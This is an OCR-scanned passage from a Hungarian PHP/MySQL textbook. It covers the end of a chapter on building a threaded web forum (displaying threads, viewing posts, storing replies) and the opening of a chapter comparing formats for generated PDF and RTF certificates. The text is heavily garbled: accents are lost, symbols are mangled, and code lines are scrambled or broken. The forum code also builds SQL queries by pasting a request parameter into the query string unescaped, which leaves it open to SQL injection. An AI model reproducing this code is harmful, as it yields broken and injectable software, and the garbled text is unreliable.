ll a vlaszok szintjknek megfelel mrtk behzsa for($i = 0; $i < $this->m_szint; $i++)

echo "<img src=\"images lterkoz.gif\" height=\"22\" width=\"22\" alt=\"\" valign=\"bottom\" l>";

530

31.fgezet

A fggvny kvetkez rs:;:e a:;:t llaptja meg, hogy plus:;:- vagy mnuselet, esetleg csupn trk:;:t jelentsen-e meg:
ll + vagy - vagy trkz megjelenitse f ((!$reszlista) && ($this->m_gyermek) && (sizeof($this->m_gyereklista))) ll a foldalon vagyunk, vannak gyermekek, s ki vannak bontva ll ki vannak nyitva - knljuk fel az sszecsuksra szolgl gombot! echo "<a href=\"index.php?osszecsuk=". $this->m_hozzaszolasiD."#".$this->m_hozzaszolasiD."\"><img src=\"imageslminusz.gif\" valign=\"bottom\" height=\"22\" width=\"22\" alt=\"Tma sszecsuksa\" border=\"0\" l><la>\n"; else if(!$reszlista && $this->m_gyermek) ll ssze vannak csukva - knljuk fel a kibontsra val gombot! echo "<a href=\"index.php?kibont=". $this->m_hozzaszolasiD."#".$this->m_hozzaszolasiD."\"><img src=\"imageslplusz.gif\" valign=\"bottom\" height=\"22\" width=\"22\" alt=\"Tma kibontsa\" border=\"0\" l><la>\n"; else

{
vagy rszlistban vagyunk, nem kell gomb

ll nincsenek gyermekek,

echo "<img src=\"imageslterkoz.gif\" height=\"22\"

31

width=\"22\" alt=\"\" valign=\"bottom\"1>\n";

Ezt kveten a csompont adatait jelentjk meg:


echo "<a name=\"".$this->m hozzaszolasiD."\"><a href= \" hozzaszolas megtekintese.php?hozzaszolasiD=".$this->m_hozzaszolasiD."\">". $this->m_cim." - ".$this->m_hozzaszolo." - " . datum_formazasa($this->m_datum)."<la><ltd><ltr>";

Majd megvltoztatjuk a kvetkez sor sznt:


ll sorszmll nvelse a vltakoz szn sarok ellltshoz $sor++;

A fentieket olyan kd kveti, amit az sszes csomopont objektum, kztk a gykr is vgrehajt:
ll megjelenites fggvny meghvsa a csompont sszes gyermekn ll egy csompontnak csak akkor lesznek gyermekei a listban, $szam_gyermek = sizeof($this->m_gyereklista); for($i 0; $i<$szam_gyermek; $i++) $reszlista); ha ki van bontva

$sor = $this->m_gyereklista[$i]->megjelenites($sor,

return $sor;

Ismt rekurzv fggvnyhvssal llunk szemben, am a csompont minden gyermekn meghvdik, hogy azok megjelentsk magukat. tadjuk nekik az aktulis sor s:;:nt, majd ha mr befejeztk feladatukat, visszakrjk a szninformcit, hogy foly tatni tudjuk a vltakoz szn sorok megjelentst. Ennyi trtnik ebben az os<:tlyban. A kd vis:;:onylag sszetett volt. Ha gy gondoljuk, kisrletez:;:nk tovbb az alkalmazs futtatsval, majd akkor trjnk vissza ehhe<: az rs:;:hez, ha mr jl kiismerjk magunkat frumunk mkdsben!

A hozzszlsok egyenknti megtekintse


A fanezet_megjelenitese () fggvny meghvsval egy adott tma hozzs:;:lsaira mutat hivatko<:sokat kapunk. Ha

az egyes hoz:;:szlsokra kattintunk, a hozzaszolas_megtekintese.php kdba jutunk, amelynek tadjuk a megrekinte ni kivnt hoz:;:s:;:ls hozzaszolas I D-jt. A 31.7 brn e kd kimenetre ltunk pldt.
A 31.6 pldakdban kzlt hozzaszolas_ megtekintese. php kd megjelenti a ho:;:zszls tartalmr, illetve a hoz

zszlsra rkezett vlaszokat. A vlaszok ismt fastruktrban jelennek meg, m e:;:ttal teljesen kibontva, brmilyen plusz vagy mnuszgomb nlkl. Ez azrt trtnhet gy, mert a $reszlista gba kerlnk.

Webes frum fejlesztse

531

31.6 pldakd: hozzaszolas_megtekintese. php-A kd egy-egy hozzszls tartalmt jelenti meg


<?php ll fggvnyknyvtrak beillesztse lnclude ('beillesztett_fuggvenyek.php'); ShozzaszolasiD Shozzaszolas
=

S_GET['hozzaszolasiD'];

ll hozzszls adatainak lekrse


=

hozzaszolas lekerese($hozzaszolas!D);

html fejlee letrehozasa($hozzaszolas['cim']); ll hozzszls megjelenitse hozzaszolas_megjelenitese($hozzaszolas); ll ha a hozzszlsra rkeztek vlaszok, if($hozzaszolas['gyermek']) echo "<br l><br />"; valaszsorok_megjelenitese(); fanezet_megjelenitese($ SESSION['kibontva'], jelentsk meg fanzetket!

O,

$hozzaszolasiD);

html lablec_letrehozasa(); ?>

31
\,

<

<l> havn:l.lta t

:::::.zt1o.ot-2<1
,..,.. --- Hogytr1lo:eii\M.znlhiCJO..f1

.Vlasz lnde:t

31.7 bra: A bngszben az adott hozzszls tartalmt lthauk. A kd hrom fontosabb fggvnyt meghvva ltja el feladatt. Ezek: a hozzaszolas_lekerese (),a hozzaszolas_
megjelenitese () s a fanezet_megjelenitese ().A 31.7 pldakdban lthat hozzaszolas_lekerese () fgg

vny kinyeri a hozzszls adatait

az

adatbzisbL

31.7 pldakd: A forum_fuggvenyek. php knyvtr hozzaszolas_lekerese ()fggvnye- Visszakeresi az adatbzis

bl a hozzszlst
function hozzaszolas_lekerese($hozzaszolasiD) ll lekri az adatbzisbl az adott hozzszlst, if(!$hozzaszolasiD) return false; s tmbknt adja vissza

$kapcsolat

adatbazishoz kapcsolodas();

532

31. fejezet

ll fejlcadatok lekrse a 'fejlec ' tblbl $lekerdezes = "SELECT

* FROM fejlee WHERE hozzaszalasiO

''' .$hozzaszolasiD.''''';

$eredrneny = $kapcsolat->query($lekerdezes); if($eredrneny->num_rows!=l) return false;

$hozzaszolas = $eredrneny->fetch_assoc();

ll hozzszls lekrse a tartalom tblbl s hozzadsa az elz eredmnyhez $lekerdezes $eredrneny2


= =

"SELECT * FROM tartalom WHERE hozzaszalasiO =


$kapcsolat->query($lekerdezes);

'".$hozzaszolasiD."'";

if($eredrneny2->num_rows>O)

$tartalom = $eredrneny2->fetch_assoc(); if($tartalom) $hozzaszolas['uzenet']


=

$tartalom['uzenet'];

return $hozzaszolas;

31

A fggvny a neki radott hozzaszolas I D birtokban kt lekrdezst futtatva visszakeresi a hozzszls fejlct s tartal

mr, sszerakja ezeket egy tmbbe, majd ezt a tmbt adja vissza. Ezt kveten a hozzaszolas_lekerese () fiiggvny eredmnyeit tadjuk a kimeneti_fuggvenyek. php knyvtr
hozzaszolas_megjelen itese () fiiggvnynek. Ez a fiiggvny pusztn annyit tesz, hogy nmi HTML formzst kvet

en megjelenti a tmbt, ezrt itt s most rszletesen nem mutatjuk be mkdst. Vgl a hozzaszolas_megtekintese. ph p kd megnzi, rtak-e mr vlaszokat a hozzszlshoz, majd a fanezet_
megjelenitese() higgvnyt meghvva rszlistaknt-vagyis teljesen kibontva, de plusz- s minuszgombok nlkl-jelenti

meg az esetlegesen meglv vlaszokat.

j hozzszls rsa
megtekintese.php oldal.Vlasz" gombjt vlasztjk.

egyik mdszer az, ha az indexoldalon az "j hozzszls" gombra kattintanak, a msik pedig az, hogy a hozzaszolas_

Vgre eljutottunk odig. hogyan kell j hozzszlsokat rni a frumhoz. A felhasznlk ktflekppen tehetik meg ezt: az

Ezek a mveletek mind az uj_hozzaszolas. php cm kdot hvjk meg. azonban eltr paramterekkel teszik ezt.
A 31.8 brn a.Vlasz" gombra kattintssal meghvott uj_hozzaszolas. php kd kimenett lthatjuk.

31.8 bra: A vlaszokban automatikusan megjelenik az eredeti hozzszls szvege.

Elszr is vizsgljuk meg az brn lthat URL-t:


http:lllocalhostlphp_es_mysqll3l_fejezetluj_hozzaszolas.php?szulo=2

Webes frum fejlesztse

533

A szulo vltozknt radott paramter

az

j hozzszls szljnek hozzaszolasID-ja. Ha a,.Vlasz'' gomb helyett az


az

.j hozzszlsr' kattintunk,

az

URL-ben szulo=O rtket lthatunk. eredeti hozzszls szvegt, s > karakterrel megjelli, ahogy azt

Msodsorban lthat, hogy a kd beszrja a vlaszba

a levelez s hrolvas alkalmazsok tbbsgnl mr megszokhattuk. Harmadsorban szrevehetjk, hogy a hozzszls cme alaprtelmezsben megegyezik az eredeti hozzszlsval, csak kapott egy Re: eltagot. Nzzk meg most az ezt a kimenetet elllt, a 31.8 pldakdban olvashat kdot!
31.8 pldakd: uj_hoz zaszolas . php
<?php include ('beillesztett fuggvenyek.php'); $eim = $_POST['cim']; $hozzaszolo = $_POST['hozzaszolo']; $uzenet = $_POST['uzenet']; if(isset($_GET['szulo'])) $szulo else $_GET['szulo']; $ POST['szulo' J;

A Jelhasznl j hozzszlst rhat, illetve vlaszolhat meglv hozzszlsra

$szulo

if(! $terulet) $terulet = l;

31
\.

if(!$hiba) if(! $szulo) $szulo = 0; if(!$eim) $eim = 'Uj hozzaszolas'; else

ll hozzszls cmnek lekrse


$eim = hozzaszolas cimenek_lekerese($szulo);

ll Re:

hozzfzse 'Re: ') false) ' . $eim;

if(strstr ($eim, $eim = 'Re:

ll ellenrizzk,

hogy a cm be fog frni az adatbzisba O,

$eim = substr($cim,

20);

ll > karakter hozzadsa a megvlaszolni kvnt hozzszls szveghez


$uzenet = idezojel_hozzadasa(hozzaszolas_tartalmanak_lekerese($szulo));

html fejlee letrehozasa($cim); uj_hozzaszolas_urlap_megjelenitese($szulo, if($hiba) echo "<p>Hozzszlst nem troltuk el.<lp> <p>Krjk, ellenrizze, hogy minden mezt kitlttt-e, majd $terulet, $eim, $uzenet, $hozzaszolo);

5 34

31. fejezet

prblja jra!<lp>";

html lablec letrehozasa(); ?>

Az indul belltsok utn az uj_hozzaszolas. php kd ellenrzi, hogy a szl rtke O (nulla) vagy ms. Ha O, akkor j tmt indtunk, s egy kis tovbbi munkra van szksg. Ha vlaszrl van sz (a $szulo egy meglv hozzszls hozzaszalasi D-ja), a kd megy tovbb, s felhasznlja a meg lv zenet cmt s szvegt:
ll hozzszls cmnek lekrse $eim = hozzaszolas_cimenek_lekerese($szulo);

ll Re:

hozzfzse 'Re: ') false)

if(strstr($cim, $eim = 'Re:

'.$eim;

ll ellenrizzk,

hogy a cm be fog frni az adatbzisba

$eim = substr($cim,

O,

20);

31

ll > karakter hozzadsa a megvlaszolni kvnt hozzszls szveghez $uzenet = idezojel hozzadasa(hozzaszolas_tartalmanak_lekerese($szulo));

A fenti kdrszlet a hozzaszolas_eimenek_lekerese(), a hozzaszolas_tartalmanak_lekerese() s a 31.9, a 31.10 s a 31.11 pldakd tartalmazza.

az

idezojel_hozzadasa () fggvnyt hvja meg. Ezeket a forum_ fuggvenyek.php knyvtrban tallhat fggvnyeker

cmt keresi vissza az adatbzisbl

31.9 pldakd: A forum_fuggvenyek. php knyvtr hozzaszolas_cimenek_lekerese ()fggvnye- A hozzszls

function hozzaszolas eimenek lekerese($hozzaszolasiD) ll hozzszls eimt keresi vissza az adatbzisbl

if(!$hozzaszolasiD) return '';

$kapcsolat = adatbazishoz kapcsolodas();

ll fejlcadatok lekrse a 'fejlec' tblbl $lekerdezes = $eredmeny


=

"SELECT eim FROM fejlee WHERE hozzaszalasiO

'''.$hozzaszolasiD.' ''; ''

$kapcsolat->query($lekerdezes);

if($eredmeny->num_rows1=l) return '';

$aktualis sor = $eredmeny->fetch_array(); return $aktualis_sor[0];

Webes frum fejlesztse

535

31.10 pldakd: A forum_fuggvenyek.php knyvtr hozzaszolas_tartalmanak_lekerese ()fggvnye- A hoz zszls tartalmt keresi vissza az adatbzisbl
function hozzaszolas_tartalmanak_lekerese($hozzaszolasiD)

ll a hozzszls tartalmnak visszakeresse az adatbzisbl


if(!$hozzaszolasiD) . return
' ' '

$kapcsolat = adatbazishoz kapcsolodas(); $lekerdezes =

"SELECT uzenet FROM tartalom WHERE hozzaszolasiD {

'''.$hozzaszolasiD.''''';

$eredmeny = $kapcsolat->query($lekerdezes); if($eredmeny->num_rows>O) return $aktualis sor[O]; $aktualis sor = $eredmeny->fetch array();

Az els kt fggvny a hozzszls fejlct s tartalmt nyeri ki az adatbzisbL

31
\.

31.11 pldakd: A forum_fuggvenyek. php knyvtr idezojel_hozzadasa ()fggvnye- A hozzszls szvegnek tagolsa >jelekkel
function idezojel_hozzadasa($string, $minta =

'> ')
$string);

ll

>

karakter hozzadsa a vlaszban idzett szveghez "\n$minta",

return $minta.str_replace("\n",

Az idezojel_hozzadasa () fggvny talakitja a karakterlncot, hogy az eredeti szveg rninden sora adott szimblum

mal kezdelj n. Ez a szimblum alaprtelmezsben a > karakter. Miutn a felhasznl begpelte vlaszt, s az ,.Elkld" gombra kattint, az uj_hozzaszolas_tarolasa.php kdba jut.
A 31.9 brn ennek a kdnak egy lehetsges kimenett lthatjuk.

31.9 bra: Az

j hozzszls immr lthat afanzetben.

Az j hozzszlsRe: MySQL admin - MySQL mgus - 22:15 0912412010 alatt lthat az brn.Ettl eltekim ve az oldal ugyangy nz ki, mint a mr ltott index. php oldal. Nzzk meg most a 31.12 pldakdban lthat uj_ hozzaszolas_tarolasa. php fjl kdjt!

536

31. fejezet

31.12 pldakd: uj_hozzaszolas_tarolasa.php-Adatbzisba helyezi az j hozzszls!


<?php include ('beillesztett fuggvenyek.php'}; if($id = uj_hozzaszolas_tarolasa($_POST}} include ('index.php'}; else

$hiba = true; include ('uj_hozzaszolas.php'};

?>

Mint lthat, igen rvid kdrl van sz. Legfbb feladata az uj_hozzaszolas _tarolasa(} fggvny meghvsa, amelynek kdjt a 31.13 pldakdban lthatjuk. Az oldal nmagban nemjelent meg kln tartalmat. Ha a trols sikeres,
az

indexoldal fog megjelenni. Ellenkez esetben az uj_hozzaszolas.ph p oldalra jutunk vissza, hogy a felhasznl jbl

megprblhassa megrni hozzszlst.


31.13 pldakd: A forum_fuggvenyek.ph p knyvtr uj_hozzaszolas tarolasa (}fggvnye- Ellenrzi, majd elt
_

rolja az adatbzisban az j hozzszlst

31

function uj_hozzaszolas tarolasa($hozzaszolas}

ll j hozzszls megtiszttsa,

majd trolsa

$kapcsolat = adatbazishoz kapcsolodas(};

ll res mezok keresse


if(!kitoltott($hozzaszolas}} return false;

$hozzaszolas = mindet_tisztit($hozzaszolas};

//ellenrizzk,

van-e szl hozzszls


1

if($hozzaszolas['szulo']

=0}

$lekerdezes = "SELECT hozzaszelasiO FROM fejlee WHERE hozzaszelasiO = '".$hozzaszolas['szulo'] ."'"; $eredmeny = $kapcsolat->query($lekerdezes}; if($eredmeny->num_rows!=l} return false;

ll ellenrizzk,

hogy nem dupliklt hozzszls tartalom WHERE

$lekerdezes = "SELECT fejlec.hozzaszolasiD FROM fejlec,

fejlec.hozzaszolasiD = tartalom.hozzaszolasiD AND fejlec.szulo = ".$hozzaszolas['szulo'] ." AND fejlec.hozzaszolo = '".$hozzaszolas['hozzaszolo'] ."' AND fejlec.cim = '".$hozzaszolas['cim'] ."' AND fejlec.terulet = ".$hozzaszolas['terulet'] ." AND tartalom.uzenet = '".$hozzaszolas['uzenet'] ."'";

$eredmeny = $kapcsolat->query($lekerdezes}; if (! $eredmeny} return false;

Webes frum fejlesztse

537

if($eredrneny->num_rows>O) $aktualis_sor = $eredrneny->fetch_array(); return $aktualis sor[Ol;

$lekerdezes

"INSERT INTO fejlee ('szulo' ,

'hozzaszelo' 'datum' ,

'eim' ,

'gyermek'

'terulet' , VALUES ('".$hozzaszolas['szulo'l "',

'hozzaszelasiO' )

'".html_entity_decode($hozzaszolas['hozzaszolo'll '".html_entity_decode($hozzaszolas['cim'l) "', O, '".$hozzaszolas['terulet'l."', now(), NULL )";

"',

$eredrneny = $kapcsolat->query($lekerdezes); if (! $eredrneny) return false;

31
ll ne feledkezznk meg rla,
hogy a szlnek most mr van gyermeke! $lekerdezes = "UPDATE fejlee SET gyermek = WHERE hozzaszelasiO
=

'".$hozzaszolas['szulo'l."'";

$eredrneny = $kapcsolat->query($lekerdezes); if (! $eredrneny) return false;

ll a hozzszls azonostjnak megllaptsa; ll fejlc is lehet, ll idpontjukban trnek el!

ne feledjk,

hogy tbb

amelyek csak az azonostjukban s valsznleg

$lekerdezes = "SELECT fejlec.hozzaszolasiD FROM fejlee LEFT JOIN tartalom ON fejlec.hozzaszolasiD = tartalom.hozzaszolasiD WHERE szulo = '".$hozzaszolas['szulo'l ."' AND hozzaszelo = '".html_entity_decode($hozzaszolas['hozzaszolo'll ."' AND eim = '".html entity_decode($hozzaszolas['cim'l)."' AND tartalom.hozzaszolasiD is NULL";

$eredrneny = $kapcsolat->query($lekerdezes); if (! $eredrneny) return false;

if($eredrneny->num_rows>O) $aktualis_sor = $eredrneny->fetch_array(); $id = $aktualis sor[Ol;

if ($id) $lekerdezes = "INSERT INTO tartalom VALUES ($id, '".$hozzaszolas[ 'uzenet' l."')";

$eredrneny = $kapcsolat->query($lekerdezes);

538

31. fejezet

if

{! $eredmeny) return false;

return $id;

Hossz, de nem tlsgosan bonyolult fggvnnyel llunk szemben. Csak azrt ilyen tetjedelmes, mert a hozzszls eit ralsa azt ignyli, hogy sorokat szrjunk be a fej lee s a tartalom tblba, illetve frissrsle a fej lee tblban a szl hozzszls rekordjt, hiszen annak most mr ltezik gyermeke. s ezzel a vgre is rtnk webes frumunk kcljnak.

A projekt tovbbfejlesztse
Sokflekppen gazdagthatjuk egy ilyen webes frum funkciit: Adjuk meg a felhasznlknak a hozzszlsok kztti navigci lehetsgt, hogy adott hozzszlsrl a kvetkez vagy az elz hozzszlsra, illetve az adott beszlgetsfonalon belli elz vagy kvetkez hozzszlsra ugorhassanak! Hozzunk ltre adrninisztrtori felletet, ahol j frumokat lehet belltani, illetve trlni rucljuk a rgi hozzszlsokat!

31

Felhasznli hitelests megvalstsval rjk el, hogy csak regisztrlt felhasznJk rudjanak hozzszlsokat rni! Hozzunk ltre valarnilyen modercis mechanizmust! Tovbbi fejlesztsi tletekrt tanulmnyozzunk mr mkd frumokat!

Meglv rendszer hasznlata


Az egyik emltsre mlt, ltez rendszer a Phorum, egy nyilvnos forrskd webes frum. A fejezetben ltalunk ltrehozott frumtl nmikpp eltr mdon mkdik, de struktrja viszonylag egyszeren oldalunk ignyeihez szabhat. A Phorum egyik figyelemre mlt funkcija, hogy brmely felhasznlja eldntheti, hogy a hozzszlsokat a beszlgetsfonalaknak megfelelen tagolva vagy egyszer idrendi sorrendben kvnja-e megteknteni. Az alkalmazsrl a http://www.phorum.org oldalon tallunk bvebb informcit.

Hogyan tovbb:
A Perszanalizlt PDF dokumentumok ellltsa cm 32. fejezetben a PDF formrum hasznlatval ksztnk vonz, platform tl fggetlenl egyformn nyomtathat s egyszer mdszerekkel nem hamisthat dokumenrumokat. Ez a lehetsg nagy szalglatot tehet neknk olyan alkalmazsokban, amelyekben pldul szerzdsek online ellltsra lehet szksg.

32
Perszonalizlt PDF dokumentumok ellltsa
Szolgltatsokat knl oldalakon szksg lehet arra, hogy a felhasznlk ltal megadott adatok ignybe vtelvel automatikusan kitlttt rlapokat vagy perszanalizlt dokumenrumokat - pldul szerzdseket, leveleket vagy okleveleket - lltsunk el. A fejezetben olyan alkalmazst fejlesztnk, amellyel a felhasznlk online rtkelhetik rudsukat, majd az eredmnyek alap jn oklevelet ksztnk szmukra. Munknk sorn kiderl: hogyan rudunk a PHP karakterlnc-feldolgoz fggvnyeivel felhasznli adatokat bevinni egy sablonba s Rich Text Forrnat (RTF) dokumenrumot ellltani ebbl,

hogyan lehet hasonl mdszerrel Portable Document Forrnat (PDF) dokumenrumot kszteni, hogyan tudunk a PHP PDF!ib fggvnyeivel hasonl PDF dokumentumot ellltani.

A projekt ttekintse
Projektnkben adott szm krdsbl ll vizsga el lltjuk oldalunk ltogatit. Ha elegend krdsre helyesen vlaszolnak, oklevelet llitunk ki, ami tanstja, hogy sikeresen levizsgztak. Annak rdekben, hogy a szmtgp egyszeren rtkelni tudja a vizsgz teljestmnyt, a krdsekhez tbb vlaszlehe tsget adunk meg, amelyek kzl a felhasznl kivlaszthatja a helyesnek vltet. Minden krdsre csak egy j vlasz ltezik. A krdsek meghatrozott szzalkra helyesen vlaszol, vagyis a vizsgt teljest felhasznl oklevelnek fjlformrurna ide lis esetben: knnyen megrervezhet, pixel- s vektorgrafikus kpeket egyarnt tartalmazhat, kvl minsg nyomatot eredmnyez, kismret, ezltal knnyen letlthet fjlt ad, szinte azonnal elllthat, olcsn elllthat, brmilyen opercis rendszeren hasznlhat, nem lehet egyszeren meghamistani vagy mdostani, megtekintshez s nyomtatshoz nincs szksg specilis szoftverre, brmely felhasznl szmra egyformn jelenik meg, illetve nyomtathat. Sok ms dntsnkhz hasonlan valsznleg itt is kompromisszumokra knyszerlnk, hogy a fenti elvrsok kzl mi nl tbbnek megfelel formtumot talljunk.

Dokumentumformtumok sszehasonltsa
A legfontosabb dnts, amit minl elbb meg kell hoznunk, hogy milyen formrumban kvnjuk az oklevelet tadni. Olyan le hetsgek kzl vlasztharunk, mint a papralap oklevl, az ASCII szveg, a HTML, a Microsoft Word vagy brmilyen ms szvegszerkeszt formtuma, a Rich Text formtum, a PostScript s a Portable Document Forrnat (PDF). A fenti elvrsaink tkrben rdemes az itt felsorolt lehetsgek kzl nhnyat mdegeini s egymssal sszehasonltani.

540

32. fejezet

Papr
A papralap oklevl killtsa nyilvnval elnykkel jr, pldul teljes egszben irnytsunk alatt tarthatjuk az ellltsi fo lyamatot. Mieltt a vizsgzknak elkldennk az okleveleket, minden esetben pontosan ltjuk, hogyan nz ki a dokumentum. Radsul nem kell a szoftverek vagy a svszlessg miatt aggdnunk, s a hamisrst megnehezt biztonsgi jelekkel lthatjuk el az okleveleket. A papralap oklevl szinte az sszes elvrsunknak megfelel, de nem lehet azonnal s alacsony kltsggel ellltani, illetve elkldeni. A vizsgz tartzkodsi helytl fggen napokba vagy akr hetekbe is telhet, amg postai ton eljuttatjuk hozz a hn htott oklevelet. Minden egyes oklevl nyomtatsrt s postzsrt kifizethetnnk pr szz forintot, de taln mg ennl is tbbe kerlne az oklevelek ellltsra fordtott munka. Az automatikus s elektronikus kiklds sokkal olcsbb lehet.

ASCII
A dokumentumok ASCII formtumban vagy egyszer szvegknt trtn elkldse is szmos elnnyel jr. Ezek egyike, hogy a kompatibilits nem okoz problmt. Alacsony svszlessg is elegend, gy kltsge nem jelents. Az ilyen egyszer doku mentumok dizjnja knnyen megtervezhet, s a kd is gyorsan ellltja ket. Ha azonban ASCII fjlt mutatunk meg ltogatinknak, nem igen tudjuk ellenrzsnk alatt tartani, hogy miknt fog meg jelenni. Nem tudjuk szablyozni pldul a bettpusokat vagy az oldaltrseket. Csak szveget hasznlhatunk, s igen kevs rhatsunk van a formzsra. Ugyangy nem tudjuk megakadlyozni, hogy a dokumentum cmzettje lemsolja vagy mdostsa azt. Ennl a formtumnl a legegyszerbb az oklevl rosszindulat megvltoztatsa.

Hypertext Markup Language (HTML)


A dokumentumok weben keresztli megjelentse esetn nyilvnval vlaszts a Hypertext Markup Language Chiperszveg jell nyelv, HTML), amely nyelvet kifejezetten erre a clra hoztk ltre. Ahogy azt mr bizonyra jl tudjuk, lehetv teszi a formzst s az olyan objektumok beillesztst, mint pldul a kpek. Radsul (nmi vltoztats utn) szinte minden ope

32

rcis rendszerrel s szaftverrel kompatibilis. Viszonylag egyszer, gy dokumentumaink dizjnjt knnyen megtervezhetjk, kdunk pedig gyorsan ellltja s tadja a vgeredmnyt. A mostani projektnkhz hasonl alkalmazsok esetn viszont olyan htrnyokkal vagyunk knytelenek szembenzni, mim a nyomtatshoz kapcsold formzsi lehetsgek (pldul oldaltrsek J korltozott tmogatsa, az opercis rendszerektl s programoktl fggen klnbz megjelens s eltr minsg nyomtats. Radsul a HTML ugyan brmilyen tpus kls elemet kpes beilleszteni, ritkbb formturnek hasznlata esetn nem garantlhat, hogy minden bngsz kpes lesz megjele nteni vagy hasznlni ezeket az elemeket.

Szvegszerkesztformtumok
Elssorban intraneres projektek esetn lehet ltjogosultsga a dokumentumok szvegszerkeszt formtumban val kzz ttelnek. Internetes projektnl ugyan egy konkrt szvegszerkeszt formtum hasznlatval kizrhatunk egyes ltogatkat, azonban piaci tlslyt figyelembe vve rdemes lehet Microsoft Word dokumentumokat hasznlni. A legtbb felhasznl gpn teleptve van a Word vagy egy olyan szvegszerkeszt, amely olvasni tudja a Word fjlokat (pldul az ingyenesen elrhe t OpenOffice Writer). A Worddel nem rendelkez Windows-felhasznlk a http://office.microsoft.com/en-us/downloads/ha010449811033. aspx oldalrl tlthetik le az ingyenes Word Viewer alkalmazst, amellyel megtekinthetik, kinyomtathatjk s msolhatjk a Word dokumentumokat. A dokumentumok Microsoft Word formtumban trtn ellltsa nyilvnval elnykkel jr. Ha szmtgpnkre te leptve van a Word, egyszeren elkszthetjk a dokumentumot. Szinte teljes mrtkben szablyozni tudjuk megjelentst, s rugalmasan alakthatjuk tartalmr. A jelszval vdett dokumentumokat radsul viszonylag nehezen tudja a fogad fl mdostani. Sajnos a Word fjlok igen nagyok lehetnek, klnsen akkor, ha kpeket vagy ms komplex elemeket tartalmaznak. Ezen tlmenen nem ltezik egyszer mdszer arra, hogy PHP-vel dinamikusan ellltsuk ket. A Word formtum dokumentlt ugyan, de binris formtumrl van sz, s a dokumentci licencelsi feltteleket tartalmaz. COM objektummal lehetsges ugyan Word dokumentumokat ellltani, de ez messze nem egyszer dolog. Egy msik, mrlegelend lehetsg az OpenOffice Writer hasznlata, ami kt szempontbl is elnys lehet: nylt forrs kd, ingyenesen elrhet szaftverrl van sz, ami radsul XML-alap fjlformtumot hasznl. Az XML fjlformtumot az

Pers:z:onali:z:lt PDF dokumentumok ellltsa

541

Office 2003 s 2007 programcsomag is natv mdon tmogatja. A Microsofi:.com oldalrl a Wordh:z: s egyb Office-term kekhe:z: letlthet a Document Type Delinition (dokumentumtpus-delinci, DT D). Keressnk r a:z: oldalon a:z:"Office XML Reference Schemas'; a:z:a:z: Office XML referenciasmk kifeje:z:sre! Jrhat, de nem egyszer t vr rnk, ha ezt a megoldst vlasztjuk.

Rich Textformtum
Rich Text formtum (RTF) dokumentumok esetn is kihasznlhatjuk a Word funkciinak nagy rszt, radsul a:z: ilyen fj lok egyszerbben elllthatk. A nyomtatott oldal elrende:z:se s formzsa rugalmasan megoldhat, radsul a dokumentum vektor- s pixelgrafikus kpeket egyarnt tartalma:z:hat. St, a felhasznlk a dokumentum megtekintsekor s nyomtatsakor nagy valsznsggel hasonl eredmnyt kapnak, mint mi. Az RTF a Microsofi: Word szveges formtuma. Olyan kompatibilis formtumnak szntk, amely lehetv teszi a kln bz programok kztti adatcsert. Bizonyos szempontbl hasonlt a HTML-re. Szintaktikval s kulcsszavakkal, nem pedig binris adatokkal viszi t a formzsi informcikat. ppen e:z:rt a:z: emberi szem szmra viszonylag jl olvashat. A formtum jl dokumentlt, s specifikcija ingyenes elrhet; keressnk r a Microsofi:.com oldalon a:z:"RTF specification'; a:z:a:z: RTF specifikci kifeje:z:sre! Az RTF dokumentumok ellltsnak legegyszerbb mdja a szvegszerkesztk " Save As RTF'; aza:z: "Ments RTF for " mtumban menpongnak kivlasztsa. Mivel az RTF fjlok csak szveget tartalmaznak, kzvetlenl elllthatk, a meglv llomnyokat pedig knnyszerrel mdosthaguk. Dokumentlt s ingyenesen elrhet formtumrl lvn s:z: a:z: RTF fjlokat tbb program olvassa, mint a Word binris formtumt. Nem rt a:z:onban tisztban lenni a:z:zal, hogy sszetettebb RTF fjlokat a Word rgebbi verziival vagy ms sz vegszerkesztvel megnyitk valamilyen mrtkben eltr eredmnyt fognak lrni. A Word minden j verzija j kulcss:z:avakat vezet be a:z: RTF formtumhoz, gy a rgebbi alkalma:z:sok figyelmen kvl fogjk hagyni a:z: ltaluk nem rtett vezrlket. Ami elvrsaink fenti listjt illeti, egy RTF formtum oklevl egys:z:eren megszerkeszthet Word vagy ms s:z:vegszer keszt segtsgve!; vektor- s pixelgrafikus elemeket egyarnt tartalma:z:hat; kivl minsg nyomatot eredmnyez; egyszer en s gyorsan elllthat; elektronikus ton alacsony kltsggel elkldher. A formtum sokfle alkalma:z:sban s opercis rendszerben hasznlhat, noha ugyana:z: a dokumentum kicsit msknt jelenhet meg az egyes programokban. Az RTF dokumentumok rnyoldala, hogy brki egyszeren s tetszs szerint mdost haga ket, ami oklevelek s sok egyb dokumentumtpus esern is problmt jelent. Az sszetettebb dokumentumok fjimrece viszonylag nagy is lehet. Mindezek figyelembe vtelvel a:z: RTF formtum szmos alkalma:z:snl megfelel vlaszts a dokumentumok ellltsra, e:z:rt mostani projektnkben is ez lesz a:z: egyik megvizsglt lehetsg.

32

PostScript
A:z: Adobe PostScript formrum oldaller nyelv. Rengeteg funkcit knl, sszetett programozsi nyelv, amelynek clja a do kumentumok eszkzfggetlen mdon trtn ellltsa - vagyis olyan lers ksztse, amely a klnbz nyomtatkon s kijelzkn ugyanolyan megjelenst eredmnye:z:. Rendkvl rszletesen dokumentlt formtum, amirl szmos knyvet rtak, s amirl rengeteg weboldalon olvashatunk. A PostScript dokumentumok nagyon pontos formzst, szveget, kpeket, begya:z:ott bettpusokat s egyb elemeket tartalma:z:harnak. Egys:z:eren elllthatk, ha a megfelel alkalma:z:sbl PostScript nyomtatdriverre nyomtatjuk ket. Ha rdekel bennnket, akr a:z:t is megranulhaguk, hogyan lehet ebben a nyelvben kzvetlenl programozni. A PostScript dokumentumok viszonylag platformfggetlenek. Klnbz eszkzkrl s opercis rendszerekbl nyomtat va is egyformn kivl minsg nyomatot eredmnye:z:nek. Szmos jelents htrnnyal szmolnunk kell ugyanakkor, ha PostScript formrumban szetetnnk dokumentumainkat ter jeszteni: a fjlmret hatalmas lehet, s a felhasznlk tbbsgnek jabb szofi:vert kell letltenik ahhoz, hogy has:z:nlni tudjk a fjlokat. A Unix-felhasznlk tbbsge ugyan tudja ke:z:elni a PostScript fjlokat, de windowsos trsaiknak jellemzen le kell tltenik egy olyan alkalma:z:st, mint pldul a Ghostscript PosrScripr-rrelmezt has:z:nl GSview. E:z: a szofi:ver sokfle platformhoz elrhet. Ingyenes ugyan, de nem iga:z:n clszer az embereker jabb s jabb szofi:verek letltsre knyszerteni. A G hostscriptrl rszleresebben a 